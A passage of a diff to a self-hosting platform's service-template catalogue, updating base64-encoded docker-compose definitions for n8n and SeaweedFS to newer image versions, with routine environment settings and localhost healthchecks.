OOE5fUlVOTkVSU19CUk9LRVJfTElTVEVOX0FERFJFU1M6LTAuMC4wLjB9JwogICAgICAtICdOOE5fUlVOTkVSU19CUk9LRVJfUE9SVD0ke044Tl9SVU5ORVJTX0JST0tFUl9QT1JUOi01Njc5fScKICAgICAgLSBOOE5fUlVOTkVSU19BVVRIX1RPS0VOPSRTRVJWSUNFX1BBU1NXT1JEX044TgogICAgICAtICdOOE5fTkFUSVZFX1BZVEhPTl9SVU5ORVI9JHtOOE5fTkFUSVZFX1BZVEhPTl9SVU5ORVI6LXRydWV9JwogICAgICAtICdOOE5fUlVOTkVSU19NQVhfQ09OQ1VSUkVOQ1k9JHtOOE5fUlVOTkVSU19NQVhfQ09OQ1VSUkVOQ1k6LTV9JwogICAgICAtICdOOE5fQkxPQ0tfRU5WX0FDQ0VTU19JTl9OT0RFPSR7TjhOX0JMT0NLX0VOVl9BQ0NFU1NfSU5fTk9ERTotdHJ1ZX0nCiAgICAgIC0gJ044Tl9HSVRfTk9ERV9ESVNBQkxFX0JBUkVfUkVQT1M9JHtOOE5fR0lUX05PREVfRElTQUJMRV9CQVJFX1JFUE9TOi10cnVlfScKICAgICAgLSAnTjhOX0VORk9SQ0VfU0VUVElOR1NfRklMRV9QRVJNSVNTSU9OUz0ke044Tl9FTkZPUkNFX1NFVFRJTkdTX0ZJTEVfUEVSTUlTU0lPTlM6LXRydWV9JwogICAgICAtICdOOE5fUFJPWFlfSE9QUz0ke044Tl9QUk9YWV9IT1BTOi0xfScKICAgICAgLSAnTjhOX1NLSVBfQVVUSF9PTl9PQVVUSF9DQUxMQkFDSz0ke044Tl9TS0lQX0FVVEhfT05fT0FVVEhfQ0FMTEJBQ0s6LWZhbHNlfScKICAgIHZvbHVtZXM6CiAgICAgIC0gJ244bi1kYXRhOi9ob21lL25vZGUvLm44bicKICAgIGRlcGVuZHNfb246CiAgICAgIHBvc3RncmVzcWw6CiAgICAgICAgY29uZGl0aW9uOiBzZXJ2aWNlX2hlYWx0aHkKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ELVNIRUxMCiAgICAgICAgLSAnd2dldCAtcU8tIGh0dHA6Ly8xMjcuMC4wLjE6NTY3OC8nCiAgICAgIGludGVydmFsOiA1cwogICAgICB0aW1lb3V0OiAyMHMKICAgICAgcmV0cmllczogMTAKICB0YXNrLXJ1bm5lcnM6CiAgICBpbWFnZTogJ244bmlvL3J1bm5lcnM6Mi4xLjUnCiAgICBlbnZpcm9ubWVudDoKICAgICAgLSAnTjhOX1JVTk5FUlNfVEFTS19CUk9LRVJfVVJJPSR7TjhOX1JVTk5FUlNfVEFTS19CUk9LRVJfVVJJOi1odHRwOi8vbjhuOjU2Nzl9JwogICAgICAtIE44Tl9SVU5ORVJTX0FVVEhfVE9LRU49JFNFUlZJQ0VfUEFTU1dPUkRfTjhOCiAgICAgIC0gJ044Tl9SVU5ORVJTX0FVVE9fU0hVVERPV05fVElNRU9VVD0ke044Tl9SVU5ORVJTX0FVVE9fU0hVVERPV05fVElNRU9VVDotMTV9JwogICAgICAtICdOOE5fUlVOTkVSU19NQVhfQ09OQ1VSUkVOQ1k9JHtOOE5fUlVOTkVSU19NQVhfQ09OQ1VSUkVOQ1k6LTV9JwogICAgZGVwZW5kc19vbjoKICAgICAgLSBuOG4KICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ELVNIRUxMCiAgICAgICAgLSAnd2dldCAtcU8tIGh0dHA6Ly8xMjcuMC4wLjE6NTY4MC8nCiAgICAgIGludGVydmFsOiA1cwogICAgICB0aW1lb3V0OiAyMHMKICAgICAgcmV0cmllczogMTAKICBwb3N0Z3Jlc3FsOgogICAgaW1hZ2U6ICdwb3N0Z3JlczoxNi1hbHBpbmUnCiAgICB2b2x1bWVzOgogICAgICAtICdwb3N0Z3Jlc3FsLWRhdGE6L3Zhci9saWIvcG9zdGdyZXNxbC9kYXRhJwogICAgZW52aXJvbm1lbnQ6CiAgICAgIC0gUE9TVEdSRVNfVVNFUj0kU0VSVklDRV9VU0VSX1BPU1RHUkVTCiAgICAgIC0gUE9TVEdSRVNfUEFTU1dPUkQ9JFNFUlZJQ0VfUEFTU1dPUkRfUE9TVEdSRVMKICAgICAgLSAnUE9TVEdSRVNfREI9JHtQT1NUR1JFU19EQjotbjhufScKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ELVNIRUxMCiAgICAgICAgLSAncGdfaXNyZWFkeSAtVSAkJHtQT1NUR1JFU19VU0VSfSAtZCAkJHtQT1NUR1JFU19EQn0nCiAgICAgIGludGVydmFsOiA1cwogICAgICB0aW1lb3V0OiAyMHMKICAgICAgcmV0cmllczogMTAK", + "compose": "c2VydmljZXM6CiAgbjhuOgogICAgaW1hZ2U6ICduOG5pby9uOG46Mi4xMC4yJwogICAgZW52aXJvbm1lbnQ6CiAgICAgIC0gU0VSVklDRV9GUUROX044Tl81Njc4CiAgICAgIC0gJ044Tl9FRElUT1JfQkFTRV9VUkw9JHtTRVJWSUNFX0ZRRE5fTjhOfScKICAgICAgLSAnV0VCSE9PS19VUkw9JHtTRVJWSUNFX0ZRRE5fTjhOfScKICAgICAgLSAnTjhOX0hPU1Q9JHtTRVJWSUNFX0ZRRE5fTjhOfScKICAgICAgLSAnTjhOX1BST1RPQ09MPSR7TjhOX1BST1RPQ09MOi1odHRwc30nCiAgICAgIC0gJ0dFTkVSSUNfVElNRVpPTkU9JHtHRU5FUklDX1RJTUVaT05FOi1VVEN9JwogICAgICAtICdUWj0ke1RaOi1VVEN9JwogICAgICAtIERCX1RZUEU9cG9zdGdyZXNkYgogICAgICAtICdEQl9QT1NUR1JFU0RCX0RBVEFCQVNFPSR7UE9TVEdSRVNfREI6LW44bn0nCiAgICAgIC0gREJfUE9TVEdSRVNEQl9IT1NUPXBvc3RncmVzcWwKICAgICAgLSBEQl9QT1NUR1JFU0RCX1BPUlQ9NTQzMgogICAgICAtIERCX1BPU1RHUkVTREJfVVNFUj0kU0VSVklDRV9VU0VSX1BPU1RHUkVTCiAgICAgIC0gREJfUE9TVEdSRVNEQl9TQ0hFTUE9cHVibGljCiAgICAgIC0gREJfUE9TVEdSRVNEQl9QQVNTV09SRD0kU0VSVklDRV9QQVNTV09SRF9QT1NUR1JFUwogICAgICAtIE44Tl9SVU5ORVJTX0VOQUJMRUQ9dHJ1ZQogICAgICAtIE44Tl9SVU5ORVJTX01PREU9ZXh0ZXJuYWwKICAgICAgLSAnTjhOX1JVTk5FUlNfQlJPS0VSX0xJU1RFTl9BRERSRVNTPSR7TjhOX1JVTk5FUlNfQlJPS0VSX0xJU1RFTl9BRERSRVNTOi0wLjAuMC4wfScKICAgICAgLSAnTjhOX1JVTk5FUlNfQlJPS0VSX1BPUlQ9JHtOOE5fUlVOTkVSU19CUk9LRVJfUE9SVDotNTY3OX0nCiAgICAgIC0gTjhOX1JVTk5FUlNfQVVUSF9UT0tFTj0kU0VSVklDRV9QQVNTV09SRF9OOE4KICAgICAgLSAnTjhOX05BVElWRV9QWVRIT05fUlVOTkVSPSR7TjhOX05BVElWRV9QWVRIT05fUlVOTkVSOi10cnVlfScKICAgICAgLSAnTjhOX1JVTk5FUlNfTUFYX0NPTkNVUlJFTkNZPSR7TjhOX1JVTk5FUlNfTUFYX0NPTkNVUlJFTkNZOi01fScKICAgICAgLSAnTjhOX0JMT0NLX0VOVl9BQ0NFU1NfSU5fTk9ERT0ke044Tl9CTE9DS19FTlZfQUNDRVNTX0lOX05PREU6LXRydWV9JwogICAgICAtICdOOE5fR0lUX05PREVfRElTQUJMRV9CQVJFX1JFUE9TPSR7TjhOX0dJVF9OT0RFX0RJU0FCTEVfQkFSRV9SRVBPUzotdHJ1ZX0nCiAgICAgIC0gJ044Tl9FTkZPUkNFX1NFVFRJTkdTX0ZJTEVfUEVSTUlTU0lPTlM9JHtOOE5fRU5GT1JDRV9TRVRUSU5HU19GSUxFX1BFUk1JU1NJT05TOi10cnVlfScKICAgICAgLSAnTjhOX1BST1hZX0hPUFM9JHtOOE5fUFJPWFlfSE9QUzotMX0nCiAgICAgIC0gJ044Tl9TS0lQX0FVVEhfT05fT0FVVEhfQ0FMTEJBQ0s9JHtOOE5fU0tJUF9BVVRIX09OX09BVVRIX0NBTExCQUNLOi1mYWxzZX0nCiAgICB2b2x1bWVzOgogICAgICAtICduOG4tZGF0YTovaG9tZS9ub2RlLy5uOG4nCiAgICBkZXBlbmRzX29uOgogICAgICBwb3N0Z3Jlc3FsOgogICAgICAgIGNvbmRpdGlvbjogc2VydmljZV9oZWFsdGh5CiAgICBoZWFsdGhjaGVjazoKICAgICAgdGVzdDoKICAgICAgICAtIENNRC1TSEVMTAogICAgICAgIC0gJ3dnZXQgLXFPLSBodHRwOi8vMTI3LjAuMC4xOjU2NzgvJwogICAgICBpbnRlcnZhbDogNXMKICAgICAgdGltZW91dDogMjBzCiAgICAgIHJldHJpZXM6IDEwCiAgdGFzay1ydW5uZXJzOgogICAgaW1hZ2U6ICduOG5pby9ydW5uZXJzOjIuMTAuMicKICAgIGVudmlyb25tZW50OgogICAgICAtICdOOE5fUlVOTkVSU19UQVNLX0JST0tFUl9VUkk9JHtOOE5fUlVOTkVSU19UQVNLX0JST0tFUl9VUkk6LWh0dHA6Ly9uOG46NTY3OX0nCiAgICAgIC0gTjhOX1JVTk5FUlNfQVVUSF9UT0tFTj0kU0VSVklDRV9QQVNTV09SRF9OOE4KICAgICAgLSAnTjhOX1JVTk5FUlNfQVVUT19TSFVURE9XTl9USU1FT1VUPSR7TjhOX1JVTk5FUlNfQVVUT19TSFVURE9XTl9USU1FT1VUOi0xNX0nCiAgICAgIC0gJ044Tl9SVU5ORVJTX01BWF9DT05DVVJSRU5DWT0ke044Tl9SVU5ORVJTX01BWF9DT05DVVJSRU5DWTotNX0nCiAgICBkZXBlbmRzX29uOgogICAgICAtIG44bgogICAgaGVhbHRoY2hlY2s6CiAgICAgIHRlc3Q6CiAgICAgICAgLSBDTUQtU0hFTEwKICAgICAgICAtICd3Z2V0IC1xTy0gaHR0cDovLzEyNy4wLjAuMTo1NjgwLycKICAgICAgaW50ZXJ2YWw6IDVzCiAgICAgIHRpbWVvdXQ6IDIwcwogICAgICByZXRyaWVzOiAxMAogIHBvc3RncmVzcWw6CiAgICBpbWFnZTogJ3Bvc3RncmVzOjE2LWFscGluZScKICAgIHZvbHVtZXM6CiAgICAgIC0gJ3Bvc3RncmVzcWwtZGF0YTovdmFyL2xpYi9wb3N0Z3Jlc3FsL2RhdGEnCiAgICBlbnZpcm9ubWVudDoKICAgICAgLSBQT1NUR1JFU19VU0VSPSRTRVJWSUNFX1VTRVJfUE9TVEdSRVMKICAgICAgLSBQT1NUR1JFU19QQVNTV09SRD0kU0VSVklDRV9QQVNTV09SRF9QT1NUR1JFUwogICAgICAtICdQT1NUR1JFU19EQj0ke1BPU1RHUkVTX0RCOi1uOG59JwogICAgaGVhbHRoY2hlY2s6CiAgICAgIHRlc3Q6CiAgICAgICAgLSBDTUQtU0hFTEwKICAgICAgICAtICdwZ19pc3JlYWR5IC1VICQke1BPU1RHUkVTX1VTRVJ9IC1kICQke1BPU1RHUkVTX0RCfScKICAgICAgaW50ZXJ2YWw6IDVzCiAgICAgIHRpbWVvdXQ6IDIwcwogICAgICByZXRyaWVzOiAxMAo=", "tags": [ "n8n", "workflow", @@ -2938,7 +2951,7 @@ "n8n": { "documentation": "https://n8n.io?utm_source=coolify.io", "slogan": "n8n is an extendable workflow automation tool.", - "compose": "c2VydmljZXM6CiAgbjhuOgogICAgaW1hZ2U6ICduOG5pby9uOG46Mi4xLjUnCiAgICBlbnZpcm9ubWVudDoKICAgICAgLSBTRVJWSUNFX0ZRRE5fTjhOXzU2NzgKICAgICAgLSAnTjhOX0VESVRPUl9CQVNFX1VSTD0ke1NFUlZJQ0VfRlFETl9OOE59JwogICAgICAtICdXRUJIT09LX1VSTD0ke1NFUlZJQ0VfRlFETl9OOE59JwogICAgICAtICdOOE5fSE9TVD0ke1NFUlZJQ0VfRlFETl9OOE59JwogICAgICAtICdOOE5fUFJPVE9DT0w9JHtOOE5fUFJPVE9DT0w6LWh0dHBzfScKICAgICAgLSAnR0VORVJJQ19USU1FWk9ORT0ke0dFTkVSSUNfVElNRVpPTkU6LVVUQ30nCiAgICAgIC0gJ1RaPSR7VFo6LVVUQ30nCiAgICAgIC0gJ0RCX1NRTElURV9QT09MX1NJWkU9JHtEQl9TUUxJVEVfUE9PTF9TSVpFOi0yfScKICAgICAgLSBOOE5fUlVOTkVSU19FTkFCTEVEPXRydWUKICAgICAgLSBOOE5fUlVOTkVSU19NT0RFPWV4dGVybmFsCiAgICAgIC0gJ044Tl9SVU5ORVJTX0JST0tFUl9MSVNURU5fQUREUkVTUz0ke044Tl9SVU5ORVJTX0JST0tFUl9MSVNURU5fQUREUkVTUzotMC4wLjAuMH0nCiAgICAgIC0gJ044Tl9SVU5ORVJTX0JST0tFUl9QT1JUPSR7TjhOX1JVTk5FUlNfQlJPS0VSX1BPUlQ6LTU2Nzl9JwogICAgICAtICdOOE5fUlVOTkVSU19BVVRIX1RPS0VOPSR7U0VSVklDRV9QQVNTV09SRF9OOE59JwogICAgICAtICdOOE5fTkFUSVZFX1BZVEhPTl9SVU5ORVI9JHtOOE5fTkFUSVZFX1BZVEhPTl9SVU5ORVI6LXRydWV9JwogICAgICAtICdOOE5fUlVOTkVSU19NQVhfQ09OQ1VSUkVOQ1k9JHtOOE5fUlVOTkVSU19NQVhfQ09OQ1VSUkVOQ1k6LTV9JwogICAgICAtICdOOE5fQkxPQ0tfRU5WX0FDQ0VTU19JTl9OT0RFPSR7TjhOX0JMT0NLX0VOVl9BQ0NFU1NfSU5fTk9ERTotdHJ1ZX0nCiAgICAgIC0gJ044Tl9HSVRfTk9ERV9ESVNBQkxFX0JBUkVfUkVQT1M9JHtOOE5fR0lUX05PREVfRElTQUJMRV9CQVJFX1JFUE9TOi10cnVlfScKICAgICAgLSAnTjhOX0VORk9SQ0VfU0VUVElOR1NfRklMRV9QRVJNSVNTSU9OUz0ke044Tl9FTkZPUkNFX1NFVFRJTkdTX0ZJTEVfUEVSTUlTU0lPTlM6LXRydWV9JwogICAgICAtICdOOE5fUFJPWFlfSE9QUz0ke044Tl9QUk9YWV9IT1BTOi0xfScKICAgICAgLSAnTjhOX1NLSVBfQVVUSF9PTl9PQVVUSF9DQUxMQkFDSz0ke044Tl9TS0lQX0FVVEhfT05fT0FVVEhfQ0FMTEJBQ0s6LWZhbHNlfScKICAgIHZvbHVtZXM6CiAgICAgIC0gJ244bi1kYXRhOi9ob21lL25vZGUvLm44bicKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ELVNIRUxMCiAgICAgICAgLSAnd2dldCAtcU8tIGh0dHA6Ly8xMjcuMC4wLjE6NTY3OC8nCiAgICAgIGludGVydmFsOiA1cwogICAgICB0aW1lb3V0OiAyMHMKICAgICAgcmV0cmllczogMTAKICB0YXNrLXJ1bm5lcnM6CiAgICBpbWFnZTogJ244bmlvL3J1bm5lcnM6Mi4xLjUnCiAgICBlbnZpcm9ubWVudDoKICAgICAgLSAnTjhOX1JVTk5FUlNfVEFTS19CUk9LRVJfVVJJPSR7TjhOX1JVTk5FUlNfVEFTS19CUk9LRVJfVVJJOi1odHRwOi8vbjhuOjU2Nzl9JwogICAgICAtICdOOE5fUlVOTkVSU19BVVRIX1RPS0VOPSR7U0VSVklDRV9QQVNTV09SRF9OOE59JwogICAgICAtICdOOE5fUlVOTkVSU19BVVRPX1NIVVRET1dOX1RJTUVPVVQ9JHtOOE5fUlVOTkVSU19BVVRPX1NIVVRET1dOX1RJTUVPVVQ6LTE1fScKICAgICAgLSAnTjhOX1JVTk5FUlNfTUFYX0NPTkNVUlJFTkNZPSR7TjhOX1JVTk5FUlNfTUFYX0NPTkNVUlJFTkNZOi01fScKICAgIGRlcGVuZHNfb246CiAgICAgIC0gbjhuCiAgICBoZWFsdGhjaGVjazoKICAgICAgdGVzdDoKICAgICAgICAtIENNRC1TSEVMTAogICAgICAgIC0gJ3dnZXQgLXFPLSBodHRwOi8vMTI3LjAuMC4xOjU2ODAvJwogICAgICBpbnRlcnZhbDogNXMKICAgICAgdGltZW91dDogMjBzCiAgICAgIHJldHJpZXM6IDEwCg==", + "compose": "c2VydmljZXM6CiAgbjhuOgogICAgaW1hZ2U6ICduOG5pby9uOG46Mi4xMC4yJwogICAgZW52aXJvbm1lbnQ6CiAgICAgIC0gU0VSVklDRV9GUUROX044Tl81Njc4CiAgICAgIC0gJ044Tl9FRElUT1JfQkFTRV9VUkw9JHtTRVJWSUNFX0ZRRE5fTjhOfScKICAgICAgLSAnV0VCSE9PS19VUkw9JHtTRVJWSUNFX0ZRRE5fTjhOfScKICAgICAgLSAnTjhOX0hPU1Q9JHtTRVJWSUNFX0ZRRE5fTjhOfScKICAgICAgLSAnTjhOX1BST1RPQ09MPSR7TjhOX1BST1RPQ09MOi1odHRwc30nCiAgICAgIC0gJ0dFTkVSSUNfVElNRVpPTkU9JHtHRU5FUklDX1RJTUVaT05FOi1VVEN9JwogICAgICAtICdUWj0ke1RaOi1VVEN9JwogICAgICAtICdEQl9TUUxJVEVfUE9PTF9TSVpFPSR7REJfU1FMSVRFX1BPT0xfU0laRTotMn0nCiAgICAgIC0gTjhOX1JVTk5FUlNfRU5BQkxFRD10cnVlCiAgICAgIC0gTjhOX1JVTk5FUlNfTU9ERT1leHRlcm5hbAogICAgICAtICdOOE5fUlVOTkVSU19CUk9LRVJfTElTVEVOX0FERFJFU1M9JHtOOE5fUlVOTkVSU19CUk9LRVJfTElTVEVOX0FERFJFU1M6LTAuMC4wLjB9JwogICAgICAtICdOOE5fUlVOTkVSU19CUk9LRVJfUE9SVD0ke044Tl9SVU5ORVJTX0JST0tFUl9QT1JUOi01Njc5fScKICAgICAgLSAnTjhOX1JVTk5FUlNfQVVUSF9UT0tFTj0ke1NFUlZJQ0VfUEFTU1dPUkRfTjhOfScKICAgICAgLSAnTjhOX05BVElWRV9QWVRIT05fUlVOTkVSPSR7TjhOX05BVElWRV9QWVRIT05fUlVOTkVSOi10cnVlfScKICAgICAgLSAnTjhOX1JVTk5FUlNfTUFYX0NPTkNVUlJFTkNZPSR7TjhOX1JVTk5FUlNfTUFYX0NPTkNVUlJFTkNZOi01fScKICAgICAgLSAnTjhOX0JMT0NLX0VOVl9BQ0NFU1NfSU5fTk9ERT0ke044Tl9CTE9DS19FTlZfQUNDRVNTX0lOX05PREU6LXRydWV9JwogICAgICAtICdOOE5fR0lUX05PREVfRElTQUJMRV9CQVJFX1JFUE9TPSR7TjhOX0dJVF9OT0RFX0RJU0FCTEVfQkFSRV9SRVBPUzotdHJ1ZX0nCiAgICAgIC0gJ044Tl9FTkZPUkNFX1NFVFRJTkdTX0ZJTEVfUEVSTUlTU0lPTlM9JHtOOE5fRU5GT1JDRV9TRVRUSU5HU19GSUxFX1BFUk1JU1NJT05TOi10cnVlfScKICAgICAgLSAnTjhOX1BST1hZX0hPUFM9JHtOOE5fUFJPWFlfSE9QUzotMX0nCiAgICAgIC0gJ044Tl9TS0lQX0FVVEhfT05fT0FVVEhfQ0FMTEJBQ0s9JHtOOE5fU0tJUF9BVVRIX09OX09BVVRIX0NBTExCQUNLOi1mYWxzZX0nCiAgICB2b2x1bWVzOgogICAgICAtICduOG4tZGF0YTovaG9tZS9ub2RlLy5uOG4nCiAgICBoZWFsdGhjaGVjazoKICAgICAgdGVzdDoKICAgICAgICAtIENNRC1TSEVMTAogICAgICAgIC0gJ3dnZXQgLXFPLSBodHRwOi8vMTI3LjAuMC4xOjU2NzgvJwogICAgICBpbnRlcnZhbDogNXMKICAgICAgdGltZW91dDogMjBzCiAgICAgIHJldHJpZXM6IDEwCiAgdGFzay1ydW5uZXJzOgogICAgaW1hZ2U6ICduOG5pby9ydW5uZXJzOjIuMTAuMicKICAgIGVudmlyb25tZW50OgogICAgICAtICdOOE5fUlVOTkVSU19UQVNLX0JST0tFUl9VUkk9JHtOOE5fUlVOTkVSU19UQVNLX0JST0tFUl9VUkk6LWh0dHA6Ly9uOG46NTY3OX0nCiAgICAgIC0gJ044Tl9SVU5ORVJTX0FVVEhfVE9LRU49JHtTRVJWSUNFX1BBU1NXT1JEX044Tn0nCiAgICAgIC0gJ044Tl9SVU5ORVJTX0FVVE9fU0hVVERPV05fVElNRU9VVD0ke044Tl9SVU5ORVJTX0FVVE9fU0hVVERPV05fVElNRU9VVDotMTV9JwogICAgICAtICdOOE5fUlVOTkVSU19NQVhfQ09OQ1VSUkVOQ1k9JHtOOE5fUlVOTkVSU19NQVhfQ09OQ1VSUkVOQ1k6LTV9JwogICAgZGVwZW5kc19vbjoKICAgICAgLSBuOG4KICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ELVNIRUxMCiAgICAgICAgLSAnd2dldCAtcU8tIGh0dHA6Ly8xMjcuMC4wLjE6NTY4MC8nCiAgICAgIGludGVydmFsOiA1cwogICAgICB0aW1lb3V0OiAyMHMKICAgICAgcmV0cmllczogMTAK", "tags": [ "n8n", "workflow", @@ -4114,7 +4127,7 @@ "seaweedfs": { "documentation": "https://github.com/seaweedfs/seaweedfs?utm_source=coolify.io", "slogan": "SeaweedFS is a simple and highly scalable distributed file system. Compatible with S3, with an admin web interface.", - "compose": "c2VydmljZXM6CiAgc2Vhd2VlZGZzLW1hc3RlcjoKICAgIGltYWdlOiAnY2hyaXNsdXNmL3NlYXdlZWRmczo0LjA1JwogICAgZW52aXJvbm1lbnQ6CiAgICAgIC0gU0VSVklDRV9GUUROX1MzXzgzMzMKICAgICAgLSAnQVdTX0FDQ0VTU19LRVlfSUQ9JHtTRVJWSUNFX1VTRVJfUzN9JwogICAgICAtICdBV1NfU0VDUkVUX0FDQ0VTU19LRVk9JHtTRVJWSUNFX1BBU1NXT1JEX1MzfScKICAgIHZvbHVtZXM6CiAgICAgIC0gJ3NlYXdlZWRmcy1zMy1kYXRhOi9kYXRhJwogICAgICAtCiAgICAgICAgdHlwZTogYmluZAogICAgICAgIHNvdXJjZTogLi9iYXNlLWNvbmZpZy5qc29uCiAgICAgICAgdGFyZ2V0OiAvYmFzZS1jb25maWcuanNvbgogICAgICAgIGNvbnRlbnQ6ICJ7XG4gIFwiaWRlbnRpdGllc1wiOiBbXG4gICAge1xuICAgICAgXCJuYW1lXCI6IFwiYW5vbnltb3VzXCIsXG4gICAgICBcImFjdGlvbnNcIjogW1xuICAgICAgICBcIlJlYWRcIlxuICAgICAgXVxuICAgIH0sXG4gICAge1xuICAgICAgXCJuYW1lXCI6IFwiYWRtaW5cIixcbiAgICAgIFwiY3JlZGVudGlhbHNcIjogW1xuICAgICAgICB7XG4gICAgICAgICAgXCJhY2Nlc3NLZXlcIjogXCJlbnY6QVdTX0FDQ0VTU19LRVlfSURcIixcbiAgICAgICAgICBcInNlY3JldEtleVwiOiBcImVudjpBV1NfU0VDUkVUX0FDQ0VTU19LRVlcIlxuICAgICAgICB9XG4gICAgICBdLFxuICAgICAgXCJhY3Rpb25zXCI6IFtcbiAgICAgICAgXCJBZG1pblwiLFxuICAgICAgICBcIlJlYWRcIixcbiAgICAgICAgXCJSZWFkQWNwXCIsXG4gICAgICAgIFwiTGlzdFwiLFxuICAgICAgICBcIlRhZ2dpbmdcIixcbiAgICAgICAgXCJXcml0ZVwiLFxuICAgICAgICBcIldyaXRlQWNwXCJcbiAgICAgIF1cbiAgICB9XG4gIF1cbn1cbiIKICAgIGVudHJ5cG9pbnQ6ICJzaCAtYyAnXFxcbnNlZCBcInMvZW52OkFXU19BQ0NFU1NfS0VZX0lELyRBV1NfQUNDRVNTX0tFWV9JRC9nXCIgL2Jhc2UtY29uZmlnLmpzb24gPiAvYmFzZTEtY29uZmlnLmpzb247IFxcXG5zZWQgXCJzL2VudjpBV1NfU0VDUkVUX0FDQ0VTU19LRVkvJEFXU19TRUNSRVRfQUNDRVNTX0tFWS9nXCIgL2Jhc2UxLWNvbmZpZy5qc29uID4gL2NvbmZpZy5qc29uOyBcXFxud2VlZCBzZXJ2ZXIgLWRpcj0vZGF0YSAtbWFzdGVyLnBvcnQ9OTMzMyAtczMgLXMzLnBvcnQ9ODMzMyAtczMuY29uZmlnPS9jb25maWcuanNvblxcXG4nXG4iCiAgICBoZWFsdGhjaGVjazoKICAgICAgdGVzdDoKICAgICAgICAtIENNRC1TSEVMTAogICAgICAgIC0gJ3dnZXQgLS1zcGlkZXIgLXEgaHR0cDovLzAuMC4wLjA6ODMzMzsgWyAkJD8gLWxlIDggXScKICAgICAgaW50ZXJ2YWw6IDEwcwogICAgICB0aW1lb3V0OiA1cwogICAgICByZXRyaWVzOiAxMAogIHNlYXdlZWRmcy1hZG1pbjoKICAgIGltYWdlOiAnY2hyaXNsdXNmL3NlYXdlZWRmczo0LjA1JwogICAgZW52aXJvbm1lbnQ6CiAgICAgIC0gU0VSVklDRV9GUUROX0FETUlOXzIzNjQ2CiAgICAgIC0gJ1NFQVdFRURfVVNFUl9BRE1JTj0ke1NFUlZJQ0VfVVNFUl9BRE1JTn0nCiAgICAgIC0gJ1NFQVdFRURfUEFTU1dPUkRfQURNSU49JHtTRVJWSUNFX1BBU1NXT1JEX0FETUlOfScKICAgIGNvbW1hbmQ6CiAgICAgIC0gYWRtaW4KICAgICAgLSAnLW1hc3Rlcj1zZWF3ZWVkZnMtbWFzdGVyOjkzMzMnCiAgICAgIC0gJy1hZG1pblVzZXI9JHtTRUFXRUVEX1VTRVJfQURNSU59JwogICAgICAtICctYWRtaW5QYXNzd29yZD0ke1NFQVdFRURfUEFTU1dPUkRfQURNSU59JwogICAgICAtICctcG9ydD0yMzY0NicKICAgICAgLSAnLWRhdGFEaXI9L2RhdGEnCiAgICB2b2x1bWVzOgogICAgICAtICdzZWF3ZWVkZnMtYWRtaW4tZGF0YTovZGF0YScKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ELVNIRUxMCiAgICAgICAgLSAnd2dldCAtLXNwaWRlciAtcSBodHRwOi8vMC4wLjAuMDoyMzY0NjsgWyAkJD8gLWxlIDggXScKICAgICAgaW50ZXJ2YWw6IDEwcwogICAgICB0aW1lb3V0OiA1cwogICAgICByZXRyaWVzOiAxMAogICAgZGVwZW5kc19vbjoKICAgICAgc2Vhd2VlZGZzLW1hc3RlcjoKICAgICAgICBjb25kaXRpb246IHNlcnZpY2VfaGVhbHRoeQo=", + "compose": "c2VydmljZXM6CiAgc2Vhd2VlZGZzLW1hc3RlcjoKICAgIGltYWdlOiAnY2hyaXNsdXNmL3NlYXdlZWRmczo0LjEzJwogICAgZW52aXJvbm1lbnQ6CiAgICAgIC0gU0VSVklDRV9GUUROX1MzXzgzMzMKICAgICAgLSAnQVdTX0FDQ0VTU19LRVlfSUQ9JHtTRVJWSUNFX1VTRVJfUzN9JwogICAgICAtICdBV1NfU0VDUkVUX0FDQ0VTU19LRVk9JHtTRVJWSUNFX1BBU1NXT1JEX1MzfScKICAgIHZvbHVtZXM6CiAgICAgIC0gJ3NlYXdlZWRmcy1zMy1kYXRhOi9kYXRhJwogICAgICAtCiAgICAgICAgdHlwZTogYmluZAogICAgICAgIHNvdXJjZTogLi9iYXNlLWNvbmZpZy5qc29uCiAgICAgICAgdGFyZ2V0OiAvYmFzZS1jb25maWcuanNvbgogICAgICAgIGNvbnRlbnQ6ICJ7XG4gIFwiaWRlbnRpdGllc1wiOiBbXG4gICAge1xuICAgICAgXCJuYW1lXCI6IFwiYW5vbnltb3VzXCIsXG4gICAgICBcImFjdGlvbnNcIjogW1xuICAgICAgICBcIlJlYWRcIlxuICAgICAgXVxuICAgIH0sXG4gICAge1xuICAgICAgXCJuYW1lXCI6IFwiYWRtaW5cIixcbiAgICAgIFwiY3JlZGVudGlhbHNcIjogW1xuICAgICAgICB7XG4gICAgICAgICAgXCJhY2Nlc3NLZXlcIjogXCJlbnY6QVdTX0FDQ0VTU19LRVlfSURcIixcbiAgICAgICAgICBcInNlY3JldEtleVwiOiBcImVudjpBV1NfU0VDUkVUX0FDQ0VTU19LRVlcIlxuICAgICAgICB9XG4gICAgICBdLFxuICAgICAgXCJhY3Rpb25zXCI6IFtcbiAgICAgICAgXCJBZG1pblwiLFxuICAgICAgICBcIlJlYWRcIixcbiAgICAgICAgXCJSZWFkQWNwXCIsXG4gICAgICAgIFwiTGlzdFwiLFxuICAgICAgICBcIlRhZ2dpbmdcIixcbiAgICAgICAgXCJXcml0ZVwiLFxuICAgICAgICBcIldyaXRlQWNwXCJcbiAgICAgIF1cbiAgICB9XG4gIF1cbn1cbiIKICAgIGVudHJ5cG9pbnQ6ICJzaCAtYyAnXFxcbnNlZCBcInMvZW52OkFXU19BQ0NFU1NfS0VZX0lELyRBV1NfQUNDRVNTX0tFWV9JRC9nXCIgL2Jhc2UtY29uZmlnLmpzb24gPiAvYmFzZTEtY29uZmlnLmpzb247IFxcXG5zZWQgXCJzL2VudjpBV1NfU0VDUkVUX0FDQ0VTU19LRVkvJEFXU19TRUNSRVRfQUNDRVNTX0tFWS9nXCIgL2Jhc2UxLWNvbmZpZy5qc29uID4gL2NvbmZpZy5qc29uOyBcXFxud2VlZCBzZXJ2ZXIgLWRpcj0vZGF0YSAtbWFzdGVyLnBvcnQ9OTMzMyAtczMgLXMzLnBvcnQ9ODMzMyAtczMuY29uZmlnPS9jb25maWcuanNvblxcXG4nXG4iCiAgICBoZWFsdGhjaGVjazoKICAgICAgdGVzdDoKICAgICAgICAtIENNRC1TSEVMTAogICAgICAgIC0